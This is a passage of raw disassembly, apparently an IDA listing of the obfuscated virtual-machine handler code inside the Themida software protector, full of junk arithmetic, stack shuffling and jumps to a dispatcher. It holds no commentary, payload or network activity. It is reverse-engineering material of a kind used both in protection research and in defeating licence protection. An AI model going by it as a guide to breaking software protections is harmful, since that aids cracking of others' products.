; CODE XREF: Themida_:0054A12Cj add esp, 4 add edi, 4 jmp loc_5468AC ; --------------------------------------------------------------------------- loc_54D984: ; CODE XREF: Themida_:00545D0Ej push ebx jmp loc_5499E7 ; --------------------------------------------------------------------------- loc_54D98A: ; CODE XREF: Themida_:0054E23Bj add edi, 0FFFFFFFFh or edi, 78127635h push esi mov esi, 673223BFh not esi shr esi, 4 shl esi, 4 shl esi, 5 or esi, 78F8054Dh xor esi, 7CF6848Ch add edi, esi jmp loc_546825 ; --------------------------------------------------------------------------- loc_54D9BA: ; CODE XREF: Themida_:0054821Cj mov ebp, [esp] jmp loc_54C9A4 ; --------------------------------------------------------------------------- loc_54D9C2: ; CODE XREF: Themida_:0054AB39j pop ebx push edi mov edi, 9FE29DFh jmp loc_54BD95 ; --------------------------------------------------------------------------- loc_54D9CE: ; CODE XREF: Themida_:005485D4j pop ebp pop ebp add ebx, edi jmp loc_546B93 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545BCC loc_54D9D7: ; CODE XREF: sub_545BCC+4E83j xchg edx, [esp+2+var_4+2] pop esp mov [esp+0], ecx mov ch, 0A8h push bx mov bl, 40h jmp loc_5446FA ; END OF FUNCTION CHUNK FOR sub_545BCC ; --------------------------------------------------------------------------- loc_54D9E9: ; CODE XREF: Themida_:0054A7FFj add ebp, edi add ebp, 14273FA1h pop edi xchg ebp, [esp] mov esp, [esp] mov ax, [esp] jmp loc_544EFF ; --------------------------------------------------------------------------- loc_54DA01: ; CODE XREF: Themida_:0054B716j xor edx, 4467446Bh dec edx add edx, 14607D65h inc edx xor edx, 2FA0007Bh xor edx, 0AFD3B385h add ebp, edx pop edx push ebx push eax jmp loc_54F19E ; --------------------------------------------------------------------------- loc_54DA25: ; CODE XREF: Themida_:0054DA3Bj add bh, 0AAh add cl, bh pop ebx sub bh, cl pop ecx add dl, bh jmp loc_54853F ; --------------------------------------------------------------------------- loc_54DA35: ; CODE XREF: Themida_:005450AEj push ebx mov bh, 0DDh add bh, 0EDh jmp loc_54DA25 ; --------------------------------------------------------------------------- loc_54DA40: ; CODE XREF: Themida_:0054BBEBj or esi, 62077876h add esi, 243F0715h jmp loc_544ADA ; --------------------------------------------------------------------------- loc_54DA51: ; CODE XREF: Themida_:00545AA1j mov [esp], ebx jmp loc_54AFC0 ; --------------------------------------------------------------------------- loc_54DA59: ; CODE XREF: Themida_:0054E75Cj mov edx, 4 add ecx, edx jmp loc_548ADB ; --------------------------------------------------------------------------- loc_54DA65: ; CODE XREF: Themida_:00548CE9j sub ebp, 1 jmp loc_54FD8B ; --------------------------------------------------------------------------- loc_54DA6D: ; CODE XREF: Themida_:00544BEBj xchg ebp, [esp] pop esp jmp loc_548C3E ; --------------------------------------------------------------------------- loc_54DA76: ; CODE XREF: Themida_:00545745j add ebp, 39C9724Eh pop ecx mov ebx, [esp] add esp, 4 jmp loc_550021 ; --------------------------------------------------------------------------- loc_54DA8B: ; CODE XREF: Themida_:005489CDj pop edx jmp loc_54CD6B ; --------------------------------------------------------------------------- loc_54DA91: ; CODE XREF: Themida_:0054651Aj dec bl not bl sub bl, 79h sub cl, bl jmp loc_547742 ; --------------------------------------------------------------------------- loc_54DA9F: ; CODE XREF: Themida_:00547B9Ej add ecx, 0EDA60CE4h jmp loc_549139 ; --------------------------------------------------------------------------- lodsb xor al, bl push ebx push small 75ECh jmp loc_54E9D4 ; --------------------------------------------------------------------------- loc_54DAB7: ; CODE XREF: Themida_:00547CF6j add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_54B21D ; --------------------------------------------------------------------------- loc_54DACB: ; CODE XREF: Themida_:00545944j push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp push ebp mov ebp, 529F1825h add ebp, 0EABC0548h add edx, ebp pop ebp add edx, eax push ebp mov ebp, 3D5B1D6Dh sub edx, ebp pop ebp push 2102h mov [esp], eax mov eax, 0 jmp loc_548D22 ; --------------------------------------------------------------------------- loc_54DB00: ; CODE XREF: Themida_:00545FA4j push esi mov esi, 4 add ebp, esi jmp loc_54C32A ; --------------------------------------------------------------------------- loc_54DB0D: ; CODE XREF: Themida_:005454E9j push 7623h jmp loc_54BFA6 ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], ebx push esp mov ebx, [esp] add esp, 4 jmp loc_54C7A1 ; --------------------------------------------------------------------------- loc_54DB30: ; CODE XREF: Themida_:0054766Cj add bx, 63EEh sub esp, 4 jmp loc_54DD81 ; --------------------------------------------------------------------------- loc_54DB3D: ; CODE XREF: Themida_:00546F51j add edi, eax jmp loc_5446C0 ; --------------------------------------------------------------------------- loc_54DB44: ; CODE XREF: Themida_:loc_544F41j add dword ptr [esp], 4 mov esi, [esp] push esi mov esi, esp jmp loc_549458 ; --------------------------------------------------------------------------- loc_54DB53: ; CODE XREF: Themida_:00544748j pop dword ptr [esp] jmp loc_54A316 ; --------------------------------------------------------------------------- loc_54DB5B: ; CODE XREF: Themida_:0054B1C5j mov bp, 2CA5h jmp loc_54F247 ; --------------------------------------------------------------------------- loc_54DB64: ; CODE XREF: Themida_:0054C28Fj mov [esp+4], bh jmp loc_547349 ; --------------------------------------------------------------------------- sub esp, 4 mov [esp], esp push ebx mov ebx, 4 push eax mov eax, 678351B6h add [esp+8], eax pop eax add [esp+4], ebx push edi push ebx push 66FE074Eh mov ebx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp add ebx, 7F681791h push edx jmp loc_548181 ; --------------------------------------------------------------------------- loc_54DBB1: ; CODE XREF: Themida_:0054BA25j sub edi, 36C0BF94h add eax, edi pop edi jmp loc_548DFE ; --------------------------------------------------------------------------- loc_54DBBF: ; CODE XREF: Themida_:00547C9Bj pop esi xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] mov cx, [esp] push ecx push esp jmp loc_545E70 ; --------------------------------------------------------------------------- loc_54DBD7: ; CODE XREF: Themida_:0054E933j sub esi, edx pop edx push esi sub dword ptr [esp], 467C22AAh pop edx add edx, 467C22AAh mov esi, [esp] add esp, 4 sub edx, 0E42E75h jmp loc_547322 ; --------------------------------------------------------------------------- loc_54DBFD: ; CODE XREF: Themida_:005465ADj sub esi, edx sub esi, 66587CF3h pop edx and eax, esi push dword ptr [esp] push dword ptr [esp] pop esi add esp, 4 jmp loc_54C5F3 ; --------------------------------------------------------------------------- push dword ptr [esp+4] push dword ptr [esp] pop eax push ebx push esp pop ebx push ecx push eax push ecx mov ecx, 9AE78D1h dec ecx jmp loc_5472C4 ; --------------------------------------------------------------------------- loc_54DC33: ; CODE XREF: Themida_:0054AF0Ej xor eax, ebp pop ebp mov ebx, eax pop eax push ebx jmp loc_54A8B3 ; --------------------------------------------------------------------------- loc_54DC3F: ; CODE XREF: Themida_:0054F2A4j inc esi jmp loc_548830 ; --------------------------------------------------------------------------- loc_54DC45: ; CODE XREF: Themida_:005488FCj mov edx, [esp] jmp loc_5472E3 ; --------------------------------------------------------------------------- loc_54DC4D: ; CODE XREF: Themida_:0054CD2Ej xor edi, 60E86EB9h xor edi, 4E5A0F2Ah add edx, edi pop edi add edx, ebp sub edx, 76ED3EBFh pop ebp jmp loc_54E1D0 ; --------------------------------------------------------------------------- loc_54DC6A: ; CODE XREF: Themida_:0054953Ej mov edi, 487367B1h sub ebx, edi pop edi mov eax, [esp] jmp loc_5455F8 ; --------------------------------------------------------------------------- loc_54DC7A: ; CODE XREF: Themida_:00544B8Cj add eax, ecx pop ecx jmp loc_54D917 ; --------------------------------------------------------------------------- loc_54DC82: ; CODE XREF: Themida_:0054567Cj add esp, 4 jmp loc_54F5BD ; --------------------------------------------------------------------------- loc_54DC8D: ; CODE XREF: Themida_:0054E70Dj mov edx, esp add edx, 4 sub edx, 4 jmp loc_545508 ; --------------------------------------------------------------------------- loc_54DCA0: ; CODE XREF: Themida_:005442F5j sub bl, al push dx push 12EEh mov [esp], eax mov ah, 0A6h mov dh, ah mov eax, [esp] push edi push esp mov edi, [esp] add esp, 4 add edi, 4 push ebx mov ebx, 4 add edi, ebx pop ebx jmp loc_546D1A ; --------------------------------------------------------------------------- loc_54DCD2: ; CODE XREF: Themida_:00546FC6j mov edx, 421731A2h add ebx, edx pop edx add ebx, edi sub ebx, 421731A2h push dword ptr [esp] pop edi add esp, 4 push eax jmp loc_54852F ; --------------------------------------------------------------------------- loc_54DCEF: ; CODE XREF: Themida_:0054F853j pop edi jmp loc_54BFCB ; --------------------------------------------------------------------------- loc_54DCF5: ; CODE XREF: Themida_:00546FE9j pop ebx add ebx, 4 add ebx, 2 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_54CBC8 ; --------------------------------------------------------------------------- loc_54DD0D: ; CODE XREF: Themida_:0054BBACj push ecx mov ecx, 3FE81EABh add ecx, 0CAADCFADh jmp loc_54850B ; --------------------------------------------------------------------------- loc_54DD1E: ; CODE XREF: Themida_:0054B0D7j sub edx, 2 xchg edx, [esp] pop esp mov [esp], cx jmp loc_54B1B1 ; --------------------------------------------------------------------------- loc_54DD2E: ; CODE XREF: Themida_:005476EFj sub esp, 4 mov [esp], esi mov esi, 0FFFFFFFFh push ebx mov ebx, 79701617h add edx, ebx pop ebx sub edx, esi sub edx, 79701617h pop esi xor [edi+24h], edx xor edx, [edi+24h] push eax jmp loc_547BD6 ; --------------------------------------------------------------------------- loc_54DD5A: ; CODE XREF: Themida_:0054F4B4j xchg esi, edx not esi xchg esi, edx xor esi, edx xor edx, esi xor esi, edx xchg eax, esi push 63BDh mov [esp], ebx mov ebx, 1 and eax, ebx push dword ptr [esp] mov ebx, [esp] jmp loc_5465DA ; --------------------------------------------------------------------------- loc_54DD81: ; CODE XREF: Themida_:0054DB38j mov [esp], edx jmp loc_549578 ; --------------------------------------------------------------------------- loc_54DD89: ; CODE XREF: Themida_:00548AE3j mov [esp], ecx jmp loc_548576 ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax push edx mov edx, esp jmp loc_54FCFB ; --------------------------------------------------------------------------- loc_54DD9D: ; CODE XREF: Themida_:0054BEE7j sub ecx, 45222330h jmp loc_549AC2 ; --------------------------------------------------------------------------- loc_54DDA8: ; CODE XREF: Themida_:0054C6EBj pop edx pop ebx push eax mov eax, 4 jmp loc_5445EA ; --------------------------------------------------------------------------- loc_54DDB5: ; CODE XREF: Themida_:0054B147j add esp, 4 sub ebx, 0A706410Eh add esi, ebx pop ebx jmp loc_54BC33 ; --------------------------------------------------------------------------- loc_54DDC9: ; CODE XREF: Themida_:00547F68j sub al, ch pop ecx add al, 57h jmp loc_54FFE8 ; --------------------------------------------------------------------------- loc_54DDD3: ; CODE XREF: Themida_:00549CD4j push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp or eax, eax jz loc_54AFF4 push 53EEh mov [esp], edx push 1Ch jmp loc_5479EB ; --------------------------------------------------------------------------- loc_54DDFC: ; CODE XREF: Themida_:0054F1ACj add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_54A462 ; --------------------------------------------------------------------------- loc_54DE0E: ; CODE XREF: Themida_:00547A4Fj pop ebx jmp loc_544DCE ; --------------------------------------------------------------------------- loc_54DE14: ; CODE XREF: Themida_:0054D674j sub ecx, 274E2A5Ah pop edi jmp loc_54AA54 ; --------------------------------------------------------------------------- pop dword ptr fs:[edx] jmp loc_544022 ; --------------------------------------------------------------------------- loc_54DE28: ; CODE XREF: Themida_:00549F5Cj mov ecx, 4B7656F6h jmp loc_54C60C ; --------------------------------------------------------------------------- loc_54DE32: ; CODE XREF: Themida_:00548031j mov ebx, 3D36853h xor ebx, 77275FB3h sub ebx, 6AC8FB9Dh push ecx jmp loc_54F9A7 ; --------------------------------------------------------------------------- loc_54DE49: ; CODE XREF: Themida_:005454D2j push esi mov esi, 6E591221h and esi, 1B3C0D33h and esi, 5F9C1C6Eh add esi, 9737A18h jmp loc_54ABD7 ; --------------------------------------------------------------------------- loc_54DE66: ; CODE XREF: Themida_:0054F55Cj pop edi add eax, 744C5BE3h jmp loc_544953 ; --------------------------------------------------------------------------- loc_54DE71: ; CODE XREF: Themida_:00546C99j push dword ptr [esp] pop edx add esp, 4 or al, 1Fh sub al, 0D6h jmp loc_548D49 ; --------------------------------------------------------------------------- loc_54DE81: ; CODE XREF: Themida_:005454B0j sub al, dl pop edx pop ecx xor bl, al movzx eax, al push dword ptr [edi+eax*4] push edx mov edx, 7D5788Ah sub dword ptr [esp+4], 0DB3656Dh add [esp+4], edx add dword ptr [esp+4], 0DB3656Dh push dword ptr [esp] jmp loc_54F0F9 ; --------------------------------------------------------------------------- loc_54DEAF: ; CODE XREF: Themida_:005441DAj pop edx push ebp sub esp, 4 mov [esp], ebx mov ebx, 2 push ebx add dword ptr [esp], 28C51628h pop ebp push ecx mov ecx, 28C51628h sub ebp, 39C9724Eh jmp loc_545743 ; --------------------------------------------------------------------------- loc_54DED9: ; CODE XREF: Themida_:0054C890j neg edi jmp loc_547BBD ; --------------------------------------------------------------------------- loc_54DEE0: ; CODE XREF: Themida_:005485C7j mov edx, 196E72E0h or edi, edx pop edx add edi, 0FFC1CFBFh sub ebx, edi mov edi, [esp] jmp loc_549E16 ; --------------------------------------------------------------------------- loc_54DEF8: ; CODE XREF: Themida_:005463CBj pop ebp add esp, 4 add [esp], eax jmp loc_54D287 ; --------------------------------------------------------------------------- loc_54DF07: ; CODE XREF: Themida_:00547E3Bj sub eax, ebp jmp loc_5441B4 ; --------------------------------------------------------------------------- loc_54DF0E: ; CODE XREF: Themida_:0054C65Aj add ecx, 4 jmp loc_548B6D ; --------------------------------------------------------------------------- loc_54DF19: ; CODE XREF: Themida_:0054D56Dj pop ebx push edx push ebx mov bh, 1Ch and bh, 9Ch shr bh, 8 neg bh add bh, 0DDh mov dh, bh pop ebx sub dh, 20h sub al, dh pop edx mov dl, al pop eax jmp loc_549571 ; --------------------------------------------------------------------------- loc_54DF3A: ; CODE XREF: Themida_:0054B9A3j push 22F3h mov [esp], ebx mov ebx, 437F103Dh and ebx, 164E35C7h jmp loc_54BB76 ; --------------------------------------------------------------------------- loc_54DF52: ; CODE XREF: Themida_:00547D22j sub esi, 4 xchg esi, [esp] pop esp mov [esp], esi mov esi, esp sub esp, 4 mov [esp], eax jmp loc_54595C ; --------------------------------------------------------------------------- loc_54DF6C: ; CODE XREF: Themida_:0054ADD5j mov [esp], ecx jmp loc_548E49 ; --------------------------------------------------------------------------- loc_54DF74: ; CODE XREF: Themida_:0054F12Cj sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_547A69 ; --------------------------------------------------------------------------- loc_54DF83: ; CODE XREF: Themida_:00546012j shl eax, cl jmp loc_54BA60 ; --------------------------------------------------------------------------- loc_54DF8A: ; CODE XREF: Themida_:00547222j add ebp, 0D3A0D89h mov esi, ebp pop ebp inc esi jmp loc_54C314 ; --------------------------------------------------------------------------- loc_54DF99: ; CODE XREF: Themida_:0054864Fj push ecx push eax mov eax, 0 mov ecx, eax pop eax add ecx, 27C97E85h add ecx, edx sub ecx, 27C97E85h push ebx mov ebx, 0 add ebx, ecx jmp loc_54CDA6 ; --------------------------------------------------------------------------- loc_54DFBE: ; CODE XREF: Themida_:0054C8EBj mov eax, 2 add ecx, eax jmp loc_5468D7 ; --------------------------------------------------------------------------- loc_54DFCA: ; CODE XREF: Themida_:00546AA1j mov dl, 7Ah push 66B9h mov [esp], ebx jmp loc_546A51 ; --------------------------------------------------------------------------- loc_54DFD9: ; CODE XREF: Themida_:0054A0FEj and ecx, 33025FCh push edx mov edx, 384D5DE0h jmp loc_5498E9 ; --------------------------------------------------------------------------- loc_54DFEA: ; CODE XREF: Themida_:00545838j pop ebp jmp loc_54C9C9 ; --------------------------------------------------------------------------- loc_54DFF0: ; CODE XREF: Themida_:0054CBF3j sub eax, edi pop edi xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_54AD4F ; --------------------------------------------------------------------------- neg word ptr [esp] pushf jmp loc_544022 ; --------------------------------------------------------------------------- loc_54E00B: ; CODE XREF: Themida_:00548727j push 3EF95096h jmp loc_54818B ; --------------------------------------------------------------------------- loc_54E015: ; CODE XREF: Themida_:00549110j push edx mov edx, 7ADF321Fh sub edx, 53A47085h shr edx, 6 add edx, 35C44536h or edx, 3EE31663h and edx, 4CD244FEh sub edx, 0A6FDAAF1h add ecx, 32F473F6h jmp loc_54F576 ; --------------------------------------------------------------------------- loc_54E047: ; CODE XREF: Themida_:005492A9j pop ebp mov ebx, [esp] jmp loc_54A97F ; --------------------------------------------------------------------------- loc_54E050: ; CODE XREF: Themida_:00546BBAj add esp, 4 pop edx push 72C7h jmp loc_5483DD ; --------------------------------------------------------------------------- dw 4ACh dd 90BEE9F2h, 8B66FFFFh ; --------------------------------------------------------------------------- add al, 24h push ebp mov ebp, esp push edx push eax mov eax, 62081B9Ah inc eax not eax inc eax dec eax add eax, 62081BA0h mov edx, eax pop eax sub ebp, 34CD5FDFh add ebp, edx add ebp, 34CD5FDFh pop edx push ebx sub esp, 4 mov [esp], edi jmp loc_5447E1 ; --------------------------------------------------------------------------- loc_54E09F: ; CODE XREF: Themida_:00544589j xor ecx, eax pop eax shr ecx, 6 shr ecx, 3 shl ecx, 5 inc ecx add ecx, 3F252911h and ecx, 4D2955F6h shr ecx, 4 push edi mov edi, 2C350F14h push eax push ebx mov ebx, 79727983h inc ebx push ebp jmp loc_54F926 ; --------------------------------------------------------------------------- loc_54E0CF: ; CODE XREF: Themida_:005493E5j mov [esp], eax mov eax, 2 jmp loc_55002A ; --------------------------------------------------------------------------- loc_54E0DC: ; CODE XREF: Themida_:0054A82Cj pop dword ptr [esp] push esi push edx mov edx, 4 mov esi, edx mov edx, [esp] add esp, 4 jmp loc_549AAE ; --------------------------------------------------------------------------- loc_54E0F6: ; CODE XREF: Themida_:00546670j mov eax, esp add eax, 4 sub eax, 4 jmp loc_54BC9B ; --------------------------------------------------------------------------- loc_54E107: ; CODE XREF: Themida_:00546BCAj xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_547373 ; --------------------------------------------------------------------------- loc_54E115: ; CODE XREF: Themida_:0054F910j xor eax, 5853C49Eh xor ebp, eax pop eax add ebx, ebp pop ebp push eax mov eax, 4 add ebx, eax jmp loc_5456F2 ; --------------------------------------------------------------------------- loc_54E12D: ; CODE XREF: Themida_:00549661j push ebp mov ebp, 30B533B9h push eax mov eax, 33E33CBCh shr eax, 6 jmp loc_54D4B2 ; --------------------------------------------------------------------------- loc_54E141: ; CODE XREF: Themida_:00547547j mov edx, 0EF56BD3h jmp loc_54769F ; --------------------------------------------------------------------------- loc_54E14B: ; CODE XREF: Themida_:00544F65j add esp, 4 sub eax, esi mov esi, [esp] add esp, 4 sub eax, 7A064879h add eax, edi push edi mov edi, 7A064879h add eax, edi jmp loc_54632B ; --------------------------------------------------------------------------- loc_54E16D: ; CODE XREF: Themida_:0054B3E7j pop esp jmp loc_5475EB ; --------------------------------------------------------------------------- loc_54E173: ; CODE XREF: Themida_:00548AF7j add edx, esi mov esi, [esp] add esp, 4 sub edx, 4 xor edx, [esp] jmp loc_54BC0A ; --------------------------------------------------------------------------- loc_54E18C: ; CODE XREF: Themida_:00546340j pop edi jmp loc_54BCCD ; --------------------------------------------------------------------------- loc_54E192: ; CODE XREF: Themida_:0054C672j mov [esp], ebx push edx mov edx, 4DEB0DEBh jmp loc_54D5AA ; --------------------------------------------------------------------------- loc_54E1A0: ; CODE XREF: Themida_:0054560Fj shr ecx, 3 shl ecx, 6 and ecx, 6C980ACAh inc ecx not ecx add ecx, 72F11CBAh sub ebx, ecx pop ecx push ebp mov ebp, 602A7289h add ebx, ebp mov ebp, [esp] add esp, 4 xor edx, eax jmp loc_544022 ; --------------------------------------------------------------------------- loc_54E1D0: ; CODE XREF: Themida_:0054DC65j sub ecx, edx pop edx push ebp jmp loc_54D18B ; --------------------------------------------------------------------------- loc_54E1D9: ; CODE XREF: Themida_:00547D65j mov ebx, ecx pop ecx sub esp, 4 mov [esp], edx push edi jmp loc_5473FD ; --------------------------------------------------------------------------- loc_54E1EB: ; CODE XREF: Themida_:0054871Ej not ecx xchg ebx, ecx not ebx xchg ebx, ecx sub esp, 4 mov [esp], ecx not dword ptr [esp] jmp loc_549330 ; --------------------------------------------------------------------------- loc_54E201: ; CODE XREF: Themida_:00547B89j mov [esp], edx sub esp, 4 jmp loc_54AFFB ; --------------------------------------------------------------------------- loc_54E20F: ; CODE XREF: Themida_:005481A4j sub esi, 57A5048Eh jmp loc_54C98D ; --------------------------------------------------------------------------- loc_54E21A: ; CODE XREF: Themida_:00547F72j add eax, ecx jmp loc_54E829 ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax jmp loc_54525B ; --------------------------------------------------------------------------- loc_54E22A: ; CODE XREF: Themida_:0054AC6Bj neg ecx xor ecx, 50D6141Ah mov edi, ecx pop ecx neg edi shl edi, 1 shl edi, 1 jmp loc_54D98A ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax adc [esp], al pushf jmp loc_544022 ; --------------------------------------------------------------------------- loc_54E24F: ; CODE XREF: Themida_:0054B3CBj sub bl, 3Bh movzx eax, al lea eax, [edi+eax*4] push 59BAh mov [esp], eax jmp loc_544022 ; --------------------------------------------------------------------------- loc_54E265: ; CODE XREF: Themida_:0054ABBEj sub edi, 414C77DDh and edi, 2D46553Ah jmp loc_545D13 ; --------------------------------------------------------------------------- loc_54E276: ; CODE XREF: Themida_:00547F2Fj pop esi pop dword ptr [esp] pop esp btr [esp], ax pushf jmp loc_544022 ; --------------------------------------------------------------------------- loc_54E286: ; CODE XREF: Themida_:00545242j xor [esp], ebp jmp loc_54D7F1 ; --------------------------------------------------------------------------- loc_54E28E: ; CODE XREF: Themida_:00549AA0j push eax mov eax, 4 add ebp, 37D561A7h jmp loc_54935B ; --------------------------------------------------------------------------- loc_54E29F: ; CODE XREF: Themida_:0054BCC8j mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp push 27D7h mov [esp], eax jmp loc_544022 ; --------------------------------------------------------------------------- loc_54E2C4: ; CODE XREF: Themida_:0054C0A4j push esi mov esi, 4 sub ebp, 20E939E0h add ebp, esi jmp loc_54BA67 ; --------------------------------------------------------------------------- loc_54E2D7: ; CODE XREF: Themida_:0054BDE6j sub eax, 0DC47A26Eh and ecx, eax push dword ptr [esp] pop eax push eax mov eax, esp add eax, 4 add eax, 4 xor eax, [esp] jmp loc_545704 ; --------------------------------------------------------------------------- loc_54E2F7: ; CODE XREF: Themida_:0054441Cj sub ebp, 0C699B1Ah jmp loc_54C93C ; --------------------------------------------------------------------------- loc_54E302: ; CODE XREF: Themida_:0054706Dj dec edi and edi, 7CFA6349h dec edi add edi, 97BFBEBAh push edi sub dword ptr [esp], offset byte_4A049D pop ecx jmp loc_5498B7 ; --------------------------------------------------------------------------- loc_54E31E: ; CODE XREF: Themida_:0054FA36j mov ebx, 6BC95493h and ebx, 72EC336Fh add ebx, 0BC1B022Eh add edx, ebx pop ebx push 4D61h mov [esp], esi mov esi, 29B67644h jmp loc_5481A9 ; --------------------------------------------------------------------------- loc_54E344: ; CODE XREF: Themida_:0054AABBj mov eax, 2 add ebp, eax push dword ptr [esp] jmp loc_54FC79 ; --------------------------------------------------------------------------- loc_54E353: ; CODE XREF: Themida_:005483D8j pop edx add eax, 9577D01h add eax, edi sub eax, 9577D01h sub eax, 592F29A5h jmp loc_548BE5 ; --------------------------------------------------------------------------- loc_54E36A: ; CODE XREF: Themida_:005451CAj mov ebp, edi mov edi, [esp] add esp, 4 sub ecx, ebp jmp loc_545331 ; --------------------------------------------------------------------------- loc_54E37C: ; CODE XREF: Themida_:005495C1j shl edx, 1 push 40BAh mov [esp], ebp mov ebp, 524E1B4Eh xchg eax, ebp not eax jmp loc_54B912 ; --------------------------------------------------------------------------- loc_54E393: ; CODE XREF: Themida_:00549197j add edi, 38A0338Fh push eax push edi jmp loc_5474FA ; --------------------------------------------------------------------------- loc_54E3A0: ; CODE XREF: Themida_:005452CEj mov esp, [esp] mov [esp], ecx push ebx mov bl, 8Bh mov cl, 0C6h jmp loc_54EE25 ; --------------------------------------------------------------------------- loc_54E3B0: ; CODE XREF: Themida_:0054FE73j add esi, ebp add esi, 5732257Dh pop ebp push ebp mov ebp, 2 add esi, ebp pop ebp push 133Eh mov [esp], esi push dword ptr [esp+4] jmp loc_54AFC9 ; --------------------------------------------------------------------------- lodsd jmp loc_547CC6 ; --------------------------------------------------------------------------- loc_54E3D9: ; CODE XREF: Themida_:0054B998j pop esi pop ebp jmp loc_544022 ; --------------------------------------------------------------------------- loc_54E3E0: ; CODE XREF: Themida_:0054FBB8j popa retn ; --------------------------------------------------------------------------- jmp loc_547053 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax sbb [esp], al pushf jmp loc_544022 ; --------------------------------------------------------------------------- loc_54E3F6: ; CODE XREF: Themida_:0054FD01j sub edx, 4 xchg edx, [esp] mov esp, [esp] mov [esp], ebx mov ebx, esp push 5FB8h mov [esp], edx mov edx, 4 add ebx, edx mov edx, [esp] add esp, 4 push edx mov edx, 4 add ebx, edx pop edx xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] xor [esp], eax jmp loc_544022 ; --------------------------------------------------------------------------- loc_54E439: ; CODE XREF: Themida_:0054F0AAj sub eax, ebp jmp loc_546C1D ; --------------------------------------------------------------------------- loc_54E440: ; CODE XREF: Themida_:0054D749j mov ecx, 69C36736h add ebx, ecx jmp loc_548093 ; --------------------------------------------------------------------------- loc_54E44C: ; CODE XREF: Themida_:0054C0FDj sub ebx, 602A7289h jmp loc_54FA4E ; --------------------------------------------------------------------------- loc_54E457: ; CODE XREF: Themida_:00547E2Aj add word ptr [esp], 1 pop bx sub bx, 6858h jmp loc_5459E2 ; --------------------------------------------------------------------------- loc_54E468: ; CODE XREF: Themida_:0054D3E8j mov edx, [esp] add esp, 4 add edx, ecx pop ecx or [edi+1Ch], edx pop edx jmp loc_548C20 ; --------------------------------------------------------------------------- loc_54E47D: ; CODE XREF: Themida_:0054A571j add eax, edi pop edi push edi jmp loc_54C885 ; --------------------------------------------------------------------------- loc_54E486: ; CODE XREF: Themida_:0054531Cj add esp, 4 add esp, 4 and edx, 3A2E2EA4h shl edx, 8 xor edx, 56FBA034h mov edi, edx jmp loc_54EE2F ; --------------------------------------------------------------------------- loc_54E4A8: ; CODE XREF: Themida_:0054FC08j mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_548644 ; --------------------------------------------------------------------------- loc_54E4BB: ; CODE XREF: Themida_:005449A3j pop edx push 71B2h mov [esp], edi push eax push 19B57A6Ah pop eax push eax jmp loc_54F414 ; --------------------------------------------------------------------------- loc_54E4D1: ; CODE XREF: Themida_:00548928j mov esp, [esp] add ebx, 4 push edi jmp loc_5489E8 ; --------------------------------------------------------------------------- loc_54E4E0: ; CODE XREF: Themida_:00544EE0j neg ebx not ebx shr ebx, 5 add ebx, 3412BDE6h mov edx, ebx jmp loc_54474D ; --------------------------------------------------------------------------- loc_54E4F4: ; CODE XREF: Themida_:0054629Fj add edi, 59345F11h jmp loc_54ABEB ; --------------------------------------------------------------------------- loc_54E4FF: ; CODE XREF: Themida_:0054421Dj sub al, 0D0h sub al, dl add al, 0D0h mov edx, [esp] add esp, 4 add al, 69h sub al, dh sub al, 69h add al, 0E6h jmp loc_54F131 ; --------------------------------------------------------------------------- loc_54E518: ; CODE XREF: Themida_:0054A6A5j mov esp, [esp] shl dword ptr [esp], cl pushf jmp loc_544022 ; --------------------------------------------------------------------------- loc_54E524: ; CODE XREF: Themida_:0054FDB1j add ecx, edx pop edx add ecx, 4 push 2EF0h mov [esp], ecx push dword ptr [esp+4] mov ecx, [esp] jmp loc_548F0A ; --------------------------------------------------------------------------- loc_54E53E: ; CODE XREF: Themida_:00548B73j xchg ecx, [esp] jmp loc_545A97 ; --------------------------------------------------------------------------- loc_54E546: ; CODE XREF: Themida_:0054A5CDj mov eax, 4 jmp loc_54ED13 ; --------------------------------------------------------------------------- loc_54E550: ; CODE XREF: Themida_:0054B8D8j sub edi, eax mov eax, [esp] add esp, 4 add ecx, edi jmp loc_54FA13 ; --------------------------------------------------------------------------- loc_54E562: ; CODE XREF: Themida_:0054B474j mov [esp], esi mov esi, 0 mov ebx, esi jmp loc_5471A0 ; --------------------------------------------------------------------------- loc_54E571: ; CODE XREF: Themida_:0054943Bj pop ebp add eax, edi mov edi, [esp] add esp, 4 add eax, 2 jmp loc_54A69C ; --------------------------------------------------------------------------- loc_54E585: ; CODE XREF: Themida_:005483BFj push 55FCh mov [esp], esp add dword ptr [esp], 4 pop ecx push ebx mov ebx, 4 add ecx, ebx jmp loc_54D4DA ; --------------------------------------------------------------------------- loc_54E5A2: ; CODE XREF: Themida_:00544863j mov eax, 55934F92h not eax push edi mov edi, 9E20583Fh add eax, edi pop edi jmp loc_54D769 ; --------------------------------------------------------------------------- loc_54E5B7: ; CODE XREF: Themida_:0054BD78j add esp, 4 push ebp mov ebp, 4 sub edx, ebp pop ebp push edx push dword ptr [esp+4] jmp loc_545FA9 ; --------------------------------------------------------------------------- loc_54E5D0: ; CODE XREF: Themida_:0054EEBFj mov [esp], ebp jmp loc_54A4C9 ; --------------------------------------------------------------------------- loc_54E5D8: ; CODE XREF: Themida_:0054B81Bj add edx, 4 add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] jmp loc_546574 ; --------------------------------------------------------------------------- loc_54E5EF: ; CODE XREF: Themida_:00545231j push 7283339Ah pop ebx and ebx, 6F657508h inc ebx sub ebx, 0C67C653h jmp loc_5446DF ; 